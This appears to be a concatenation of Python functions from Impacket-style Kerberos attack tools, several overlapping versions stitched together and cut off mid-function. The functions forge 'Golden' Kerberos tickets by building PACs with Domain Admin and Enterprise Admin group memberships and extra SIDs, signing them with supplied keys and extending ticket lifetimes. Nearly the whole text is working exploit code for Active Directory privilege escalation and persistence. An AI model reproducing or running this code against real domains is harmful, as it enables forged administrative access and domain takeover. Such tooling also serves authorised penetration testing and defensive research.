def createBasicPac(self, kdcRep): validationInfo = self.createBasicValidationInfo() pacInfos = {} pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents() srvCheckSum = PAC_SIGNATURE_DATA() privCheckSum = PAC_SIGNATURE_DATA() if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value: srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value srvCheckSum['Signature'] = b'\x00' * 16 privCheckSum['Signature'] = b'\x00' * 16 else: srvCheckSum['Signature'] = b'\x00' * 12 privCheckSum['Signature'] = b'\x00' * 12 if len(self.__options.aesKey) == 64: srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value else: srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData() pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData() clientInfo = PAC_CLIENT_INFO() clientInfo['Name'] = self.__target.encode('utf-16le') clientInfo['NameLength'] = len(clientInfo['Name']) pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData() return pacInfos
def createBasicPac(self, kdcRep): validationInfo = self.createBasicValidationInfo() pacInfos = {} pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents() srvCheckSum = PAC_SIGNATURE_DATA() privCheckSum = PAC_SIGNATURE_DATA() if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value: srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value srvCheckSum['Signature'] = '\x00' * 16 privCheckSum['Signature'] = '\x00' * 16 else: srvCheckSum['Signature'] = '\x00' * 12 privCheckSum['Signature'] = '\x00' * 12 if len(self.__options.aesKey) == 64: srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value else: srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData() pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData() clientInfo = PAC_CLIENT_INFO() clientInfo['Name'] = self.__target.encode('utf-16le') clientInfo['NameLength'] = len(clientInfo['Name']) pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData() return pacInfos
def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): logging.info('Signing/Encrypting final ticket') # We changed everything we needed to make us special. Now let's repack and calculate checksums validationInfoBlob = pacInfos[PAC_LOGON_INFO] validationInfoAlignment = b'\x00' * (( (len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] pacClientInfoAlignment = b'\x00' * (( (len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM] serverChecksumAlignment = b'\x00' * (( (len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM] privSvrChecksumAlignment = b'\x00' * (( (len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 # Building the PAC_TYPE as specified in [MS-PAC] buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData( ) + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = pacType.getData() checkSumFunctionServer = _checksum_table[ serverChecksum['SignatureType']] if serverChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) elif serverChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash)) else: raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType']) checkSumFunctionPriv = _checksum_table[ privSvrChecksum['SignatureType']] if privSvrChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) elif privSvrChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash)) else: raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType']) serverChecksum['Signature'] = checkSumFunctionServer.checksum( keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum) logging.info('\tPAC_SERVER_CHECKSUM') privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum( keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature']) logging.info('\tPAC_PRIVSVR_CHECKSUM') buffersTail = serverChecksum.getData( ) + serverChecksumAlignment + privSvrChecksum.getData( ) + privSvrChecksumAlignment pacType['Buffers'] = buffers + buffersTail authorizationData = AuthorizationData() authorizationData[0] = noValue authorizationData[0][ 'ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value authorizationData[0]['ad-data'] = pacType.getData() authorizationData = encoder.encode(authorizationData) encTicketPart['authorization-data'][0]['ad-data'] = authorizationData if logging.getLogger().level == logging.DEBUG: logging.debug('Customized EncTicketPart') print(encTicketPart.prettyPrint()) print('\n') encodedEncTicketPart = encoder.encode(encTicketPart) cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']] if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value: key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value: key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) elif cipher.enctype == EncryptionTypes.rc4_hmac.value: key = Key(cipher.enctype, unhexlify(self.__options.nthash)) else: raise Exception('Unsupported enctype 0x%x' % cipher.enctype) # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes TGS session # key or application session key), encrypted with the # service key (Section 5.3) logging.info('\tEncTicketPart') cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None) kdcRep['ticket']['enc-part']['cipher'] = cipherText kdcRep['ticket']['enc-part']['kvno'] = 2 # Lastly.. we have to encrypt the kdcRep['enc-part'] part # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?) encodedEncASRepPart = encoder.encode(encASorTGSRepPart) if self.__domain == self.__server: # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets()) logging.info('\tEncASRepPart') cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart, None) else: # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key # (Section 5.4.2) sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets()) logging.info('\tEncTGSRepPart') cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart, None) kdcRep['enc-part']['cipher'] = cipherText kdcRep['enc-part']['etype'] = cipher.enctype kdcRep['enc-part']['kvno'] = 1 if logging.getLogger().level == logging.DEBUG: logging.debug('Final Golden Ticket') print(kdcRep.prettyPrint()) print('\n') return encoder.encode(kdcRep), cipher, sessionKey
def customizeTicket(self, kdcRep, pacInfos): logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target)) encTicketPart = EncTicketPart() flags = list() flags.append(TicketFlags.forwardable.value) flags.append(TicketFlags.proxiable.value) flags.append(TicketFlags.renewable.value) if self.__domain == self.__server: flags.append(TicketFlags.initial.value) flags.append(TicketFlags.pre_authent.value) encTicketPart['flags'] = encodeFlags(flags) encTicketPart['key'] = noValue encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] if encTicketPart['key'][ 'keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join( [random.choice(string.ascii_letters) for _ in range(16)]) elif encTicketPart['key'][ 'keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join( [random.choice(string.ascii_letters) for _ in range(32)]) else: encTicketPart['key']['keyvalue'] = ''.join( [random.choice(string.ascii_letters) for _ in range(16)]) encTicketPart['crealm'] = self.__domain.upper() encTicketPart['cname'] = noValue encTicketPart['cname'][ 'name-type'] = PrincipalNameType.NT_PRINCIPAL.value encTicketPart['cname']['name-string'] = noValue encTicketPart['cname']['name-string'][0] = self.__target encTicketPart['transited'] = noValue encTicketPart['transited']['tr-type'] = 0 encTicketPart['transited']['contents'] = '' encTicketPart['authtime'] = KerberosTime.to_asn1( datetime.datetime.utcnow()) encTicketPart['starttime'] = KerberosTime.to_asn1( datetime.datetime.utcnow()) # Let's extend the ticket's validity a lil bit ticketDuration = datetime.datetime.utcnow() + datetime.timedelta( days=int(self.__options.duration)) encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['authorization-data'] = noValue encTicketPart['authorization-data'][0] = noValue encTicketPart['authorization-data'][0][ 'ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value encTicketPart['authorization-data'][0]['ad-data'] = noValue # Let's locate the KERB_VALIDATION_INFO and Checksums if PAC_LOGON_INFO in pacInfos: data = pacInfos[PAC_LOGON_INFO] validationInfo = VALIDATION_INFO() validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) lenVal = len(validationInfo.getData()) validationInfo.fromStringReferents(data[lenVal:], lenVal) aTime = timegm( strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) unixTime = self.getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 # Let's adjust username and other data validationInfo['Data']['LogonDomainName'] = self.__domain.upper() validationInfo['Data']['EffectiveName'] = self.__target # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') validationInfo['Data']['GroupIds'] = list() validationInfo['Data']['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = int(group) groupMembership['RelativeId'] = groupId groupMembership[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED validationInfo['Data']['GroupIds'].append(groupMembership) # Let's add the extraSid if self.__options.extra_sid is not None: extrasids = self.__options.extra_sid.split(',') if validationInfo['Data']['SidCount'] == 0: # Let's be sure user's flag specify we have extra sids. validationInfo['Data']['UserFlags'] |= 0x20 validationInfo['Data'][ 'ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() for extrasid in extrasids: validationInfo['Data']['SidCount'] += 1 sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extrasid) sidRecord['Sid'] = sid sidRecord[ 'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED # And, let's append the magicSid validationInfo['Data']['ExtraSids'].append(sidRecord) else: validationInfo['Data']['ExtraSids'] = NULL validationInfoBlob = validationInfo.getData( ) + validationInfo.getDataReferents() pacInfos[PAC_LOGON_INFO] = validationInfoBlob if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO after making it gold') validationInfo.dump() print('\n') else: raise Exception('PAC_LOGON_INFO not found! Aborting') logging.info('\tPAC_LOGON_INFO') # Let's now clear the checksums if PAC_SERVER_CHECKSUM in pacInfos: serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) if serverChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: serverChecksum['Signature'] = '\x00' * 12 elif serverChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: serverChecksum['Signature'] = '\x00' * 12 else: serverChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData() else: raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') if PAC_PRIVSVR_CHECKSUM in pacInfos: privSvrChecksum = PAC_SIGNATURE_DATA( pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksum['Signature'] = '\x00' * 12 if privSvrChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: privSvrChecksum['Signature'] = '\x00' * 12 elif privSvrChecksum[ 'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: privSvrChecksum['Signature'] = '\x00' * 12 else: privSvrChecksum['Signature'] = '\x00' * 16 pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData() else: raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') if PAC_CLIENT_INFO_TYPE in pacInfos: pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE]) pacClientInfo['ClientId'] = unixTime pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData() else: raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') logging.info('\tPAC_CLIENT_INFO_TYPE') logging.info('\tEncTicketPart') if self.__domain == self.__server: encRepPart = EncASRepPart() else: encRepPart = EncTGSRepPart() encRepPart['key'] = noValue encRepPart['key']['keytype'] = encTicketPart['key']['keytype'] encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue'] encRepPart['last-req'] = noValue encRepPart['last-req'][0] = noValue encRepPart['last-req'][0]['lr-type'] = 0 encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1( datetime.datetime.utcnow()) encRepPart['nonce'] = 123456789 encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration) encRepPart['flags'] = encodeFlags(flags) encRepPart['authtime'] = str(encTicketPart['authtime']) encRepPart['endtime'] = str(encTicketPart['endtime']) encRepPart['starttime'] = str(encTicketPart['starttime']) encRepPart['renew-till'] = str(encTicketPart['renew-till']) encRepPart['srealm'] = self.__domain.upper() encRepPart['sname'] = noValue encRepPart['sname']['name-string'] = noValue encRepPart['sname']['name-string'][0] = self.__service if self.__domain == self.__server: encRepPart['sname'][ 'name-type'] = PrincipalNameType.NT_SRV_INST.value encRepPart['sname']['name-string'][1] = self.__domain.upper() logging.info('\tEncAsRepPart') else: encRepPart['sname'][ 'name-type'] = PrincipalNameType.NT_PRINCIPAL.value encRepPart['sname']['name-string'][1] = self.__server logging.info('\tEncTGSRepPart') return encRepPart, encTicketPart, pacInfos
def getGoldenPAC(self, authTime): # Ok.. we need to build a PAC_TYPE with the following items # 1) KERB_VALIDATION_INFO aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) unixTime = getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32 # LogoffTime: A FILETIME structure that contains the time the client's logon # session should expire. If the session should not expire, this structure # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as # an indicator of when to warn the user that the allowed time is due to expire. kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF # KickOffTime: A FILETIME structure that contains LogoffTime minus the user # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the # client should not be logged off, this structure SHOULD have the dwHighDateTime # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. # The Kerberos service ticket end time is a replacement for KickOffTime. # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of # an account. A recipient of the PAC SHOULD<8> use this value as the indicator # of when the client should be forcibly disconnected. kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 # PasswordMustChange: A FILETIME structure that contains the time at which # theclient's password expires. If the password will not expire, this # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the # dwLowDateTime member set to 0xFFFFFFFF. kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['EffectiveName'] = self.__username kerbdata['FullName'] = '' kerbdata['LogonScript'] = '' kerbdata['ProfilePath'] = '' kerbdata['HomeDirectory'] = '' kerbdata['HomeDirectoryDrive'] = '' kerbdata['LogonCount'] = 0 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = self.__rid kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = (513, 512, 520, 518, 519) kerbdata['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = group groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['GroupIds'].append(groupMembership) kerbdata['UserFlags'] = 0 kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['LogonServer'] = '' kerbdata['LogonDomainName'] = self.__domain kerbdata['LogonDomainId'] = self.__domainSid kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata['SubAuthStatus'] = 0 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 kerbdata['FailedILogonCount'] = 0 kerbdata['Reserved3'] = 0 # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is # asserted by an authentication authority based on proof of possession of client credentials. #extraSids = ('S-1-18-1',) if self.__forestSid is not None: extraSids = ('%s-%s' % (self.__forestSid, '519'),) kerbdata['SidCount'] = len(extraSids) kerbdata['UserFlags'] |= 0x20 else: extraSids = () kerbdata['SidCount'] = len(extraSids) for extraSid in extraSids: sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extraSid) sidRecord['Sid'] = sid sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['ExtraSids'].append(sidRecord) kerbdata['ResourceGroupDomainSid'] = NULL kerbdata['ResourceGroupCount'] = 0 kerbdata['ResourceGroupIds'] = NULL validationInfo = self.VALIDATION_INFO() validationInfo['Data'] = kerbdata if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO') validationInfo.dump() print ('\n') validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) # 2) PAC_CLIENT_INFO pacClientInfo = PAC_CLIENT_INFO() pacClientInfo['ClientId'] = unixTime try: name = self.__username.encode('utf-16le') except UnicodeDecodeError: import sys name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le') pacClientInfo['NameLength'] = len(name) pacClientInfo['Name'] = name pacClientInfoBlob = pacClientInfo.getData() pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA serverChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #serverChecksum['SignatureType'] = self.CRC_32 #serverChecksum['Signature'] = b'\x00'*4 # If you wanna do MD4, uncomment this #serverChecksum['SignatureType'] = self.RSA_MD4 #serverChecksum['Signature'] = b'\x00'*16 # If you wanna do MD5, uncomment this serverChecksum['SignatureType'] = self.RSA_MD5 serverChecksum['Signature'] = b'\x00'*16 serverChecksumBlob = serverChecksum.getData() serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA privSvrChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #privSvrChecksum['SignatureType'] = self.CRC_32 #privSvrChecksum['Signature'] = b'\x00'*4 # If you wanna do MD4, uncomment this #privSvrChecksum['SignatureType'] = self.RSA_MD4 #privSvrChecksum['Signature'] = b'\x00'*16 # If you wanna do MD5, uncomment this privSvrChecksum['SignatureType'] = self.RSA_MD5 privSvrChecksum['Signature'] = b'\x00'*16 privSvrChecksumBlob = privSvrChecksum.getData() privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 # Building the PAC_TYPE as specified in [MS-PAC] buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ pacClientInfo.getData() + pacClientInfoAlignment buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = pacType.getData() # If you want to do CRC-32, ucomment this #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff) #privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff) # If you want to do MD4, ucomment this #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest() #privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest() # If you want to do MD5, ucomment this serverChecksum['Signature'] = MD5.new(blobToChecksum).digest() privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest() buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType['Buffers'] = buffers + buffersTail authorizationData = AuthorizationData() authorizationData[0] = noValue authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value) authorizationData[0]['ad-data'] = pacType.getData() return encoder.encode(authorizationData)
def customizeTicket(self, kdcRep, pacInfos): logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target)) encTicketPart = EncTicketPart() flags = list() flags.append(TicketFlags.forwardable.value) flags.append(TicketFlags.proxiable.value) flags.append(TicketFlags.renewable.value) flags.append(TicketFlags.initial.value) flags.append(TicketFlags.pre_authent.value) encTicketPart['flags'] = encodeFlags(flags) encTicketPart['key'] = None encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype'] if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)]) elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value: encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(32)]) else: encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)]) encTicketPart['crealm'] = self.__domain.upper() encTicketPart['cname'] = None encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value encTicketPart['cname']['name-string'] = None encTicketPart['cname']['name-string'][0] = self.__target encTicketPart['transited'] = None encTicketPart['transited']['tr-type'] = 0 encTicketPart['transited']['contents'] = '' encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) # Let's extend the ticket's validity a lil bit ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration)) encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['authorization-data'] = None encTicketPart['authorization-data'][0] = None encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value encTicketPart['authorization-data'][0]['ad-data'] = None # Let's locate the KERB_VALIDATION_INFO and Checksums if pacInfos.has_key(PAC_LOGON_INFO): data = pacInfos[PAC_LOGON_INFO] validationInfo = VALIDATION_INFO() validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) lenVal = len(validationInfo.getData()) validationInfo.fromStringReferents(data[lenVal:], lenVal) aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ')) unixTime = self.getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32 # Let's adjust username and other data validationInfo['Data']['LogonDomainName'] = self.__domain.upper() validationInfo['Data']['EffectiveName'] = self.__target # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') validationInfo['Data']['GroupIds'] = list() validationInfo['Data']['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = int(group) groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED validationInfo['Data']['GroupIds'].append(groupMembership) # 